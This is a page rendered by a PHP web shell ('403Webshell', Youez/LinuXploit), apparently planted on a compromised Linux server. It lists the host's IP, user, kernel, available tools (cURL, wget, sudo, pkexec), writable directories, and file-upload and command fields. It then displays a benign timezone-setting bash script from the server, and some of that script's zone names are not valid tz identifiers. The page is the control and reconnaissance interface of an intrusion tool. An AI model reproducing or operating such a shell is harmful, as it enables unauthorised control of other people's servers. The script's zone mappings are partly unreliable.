403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/installer/tweaks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/installer/tweaks/cwm-settimezone
#!/bin/bash

# Add this at the begining of all scripts.
if [ -f "include/startup.sh" ]; then
    . include/startup.sh
elif [ -f "../include/startup.sh" ]; then
    . ../include/startup.sh
fi

# for cwm-based installations, otherwise it's ignored.
if [ ! -f "$CWM_CONFIGFILE" ]; then

    echo "CWM config file not found. Skipping." | log
    tagScript skipped
    exit 99

fi

declare -A timezones
timezones[IL]="Asia/Jerusalem"
timezones[IL-HA]="Asia/Jerusalem"
timezones[IL-TA]="Asia/Jerusalem"
timezones[IL-RH]="Asia/Jerusalem"
timezones[IL-PT]="Asia/Jerusalem"
timezones[EU]="Europe/Amsterdam"
timezones[EU-LO]="Europe/London"
timezones[EU-FR]="Europe/Berlin"
timezones[US-NY2]="America/New_York"
timezones[US-TX]="America/Chicago"
timezones[US-SC]="America/Los_Angeles"
timezones[CA-TR]="America/Toronto"
timezones[AS]="Asia/Hong_Kong"
timezones[US-MI]="America/New_York"
timezones[US-MI2]="America/New_York"
timezones[US-CH]="America/Chicago"
timezones[EU-ML]="Europe/Rome"
timezones[EU-MD]="Europe/Madrid"
timezones[EU-ST]="Europe/Stockholm"
timezones[US-AT]="America/Atlanta"
timezones[US-LA]="America/Los_Angeles"
timezones[US-SE]="America/Seattle"
timezones[AS-SG]="Asia/Singapore"
timezones[AS-TY]="Asia/Tokyo"
timezones[AU-SY]="Australia/Sydney"


if [ ! ${timezones[$CWM_ZONE]} ]; then

    echo "timezone $CWM_ZONE not set. Exiting." | log 1
    exit 1

fi

timedatectl set-timezone $(echo ${timezones[$CWM_ZONE]}) | log

tagScript success

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit